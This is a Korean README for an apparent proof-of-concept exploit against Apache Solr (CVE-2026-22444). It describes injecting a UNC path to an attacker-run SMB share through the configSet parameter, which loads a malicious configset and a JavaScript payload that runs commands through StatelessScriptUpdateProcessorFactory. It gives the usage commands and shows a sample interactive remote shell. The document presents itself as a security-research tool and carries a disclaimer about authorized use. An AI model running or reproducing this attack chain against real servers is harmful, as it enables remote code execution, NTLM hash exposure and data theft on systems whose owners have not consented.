
Apache Solr CVE-2026-22444용 익스플로잇으로, UNC 경로 주입과 SMB 서버를 활용하여 악성 configset 및 JavaScript 페이로드를 통해 원격 코드 실행을 달성합니다.
Apache Solr UNC 경로 검증 취약점
CVE-2026-22444는 Apache Solr에 영향을 미치는 보안 취약점으로, 2026년 1월 20일경에 공개적으로 공개되었습니다. 이 취약점은 Apache Solr의 "create core" API가 특정 API 매개변수에 대한 입력 검증이 부족하여(CWE-20: Improper Input Validation) 발생하며, 공격자가 Solr가 "standalone" 모드로 실행 중일 때 보안 규칙을 우회할 수 있게 하여 데이터 유출, 원격 코드 실행(RCE) 또는 NTLM 해시 노출로 이어질 수 있습니다.
구체적으로, Solr에서 인증이 활성화되지 않았거나 사용자가 코어 생성 권한을 가진 경우, 공격자는 정교하게 구성된 요청을 통해 해당 API를 악용하여 보호된 파일에 접근하거나 악의적인 작업을 수행할 수 있습니다.
이 취약점은 2025년에 발견되어 Apache에 보고되었으며, oss-security 메일링 리스트에서 공개적으로 공개되었습니다:
공식 공지: https://www.openwall.com/lists/oss-security/2026/01/20/5
이 취약점은 CoreContainer.java에 존재하며, CoreDescriptor 생성자가 UNC 경로 검증을 수행하기 전에 네트워크 작업을 트리거합니다:
instancePath.toAbsolutePath()는 네트워크를 통해 UNC 경로를 확인할 수 있음Files.exists() 검사가 네트워크 호출을 수행함Files.newInputStream()이 네트워크 읽기를 수행함assertPathAllowed()를 통한 경로 검증은 이러한 작업 이후에만 발생함exploit.py - 개념 증명 익스플로잇 스크립트files/ - 익스플로잇에 필요한 지원 파일(configset)
rce.js - 원격 코드 실행 JavaScript payloadconf/ - Solr 구성 파일
solrconfig.xml - 악성 업데이트 프로세서 체인 정의schema.xml - Solr schema 정의managed-schema - 관리형 schema 파일requirements.txt - Python 의존성pip install -r requirements.txt
의존성 포함:
requests>=2.25.0 - HTTP 요청용impacket>=0.10.0 - SMB 서버 생성용python3 exploit.py <대상 IP>
예시:
python3 exploit.py 192.168.1.100
python3 exploit.py <대상 IP> --port <포트>
예시:
python3 exploit.py 192.168.1.100 --port 8983
python3 exploit.py <대상 IP> --smb-host <SMB 서버 IP> --smb-port <SMB 포트>
예시:
python3 exploit.py 192.168.1.100 --smb-host 192.168.1.50 --smb-port 445
python3 exploit.py <대상 IP> --share-name <공유 이름>
예시:
python3 exploit.py 192.168.1.100 --share-name myshare
위치 매개변수:
target_host 대상 Solr 서버 IP 주소
선택 매개변수:
-h, --help 도움말 정보 표시 및 종료
--port, -p PORT Solr 서버 포트(기본값: 8983)
--smb-host SMB_HOST SMB 서버 IP(기본값: 로컬 IP 자동 감지)
--smb-port SMB_PORT SMB 서버 포트(기본값: 445)
--share-name SHARE SMB 공유 이름(기본값: malicious)
files 디렉토리를 공유합니다성공적인 익스플로잇 후, 스크립트는 대화형 셸을 제공합니다:
solr> whoami
[+] exit_code: 0, status: success
--- stdout ---
desktop-abc123\user
solr> dir
[+] exit_code: 0, status: success
--- stdout ---
Volume in drive C has no label.
...
solr> exit
[*] exiting shell...
지원되는 명령:
exit 또는 quit - 대화형 셸 종료Ctrl+C - 중단 및 종료이 취약점은 다음 기술 체인을 활용합니다:
configSet 매개변수를 통해 UNC 경로(예: //attacker-ip/share)를 주입합니다StatelessScriptUpdateProcessorFactory를 활용하여 JavaScript 코드를 실행합니다python3 exploit.py 192.168.35.31 \
--port 8983 \
--smb-host 192.168.35.50 \
--smb-port 445 \
--share-name exploit
CVE-2026-22444/
├── exploit.py # 메인 익스플로잇 스크립트
├── requirements.txt # Python 의존성
├── files/ # 악성 configset
│ ├── rce.js # RCE JavaScript payload
│ └── conf/ # Solr 구성 디렉토리
│ ├── solrconfig.xml # 악성 업데이트 프로세서 구성
│ ├── schema.xml # Schema 정의
│ └── managed-schema # 관리형 schema
└── README.md # 본 파일
rce.js: 핵심 RCE payload로, 다음을 수행합니다:
cmd 매개변수를 가져옵니다solrconfig.xml: Solr가 악성 업데이트 프로세서 체인을 사용하도록 구성합니다:
rce-chain 업데이트 프로세서 체인을 정의합니다rce.js 스크립트를 참조합니다/update 요청 프로세서가 해당 체인을 사용하도록 설정합니다⚠️ 경고: 이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 승인 없이 이 도구를 사용하여 시스템을 공격하는 것은 불법입니다.
이 프로젝트는 MIT 라이선스를 따릅니다. 자세한 내용은 LICENSE 파일을 참조하십시오.
이 도구와 정보는 보안 연구 및 교육 목적으로만 제공됩니다. 저자는 이 정보나 도구의 오용으로 인해 발생하는 어떠한 손해에 대해서도 책임을 지지 않습니다. 사용자는 모든 적용 가능한 법률과 규정을 준수해야 하며, 사용 전에 적절한 승인을 받아야 합니다.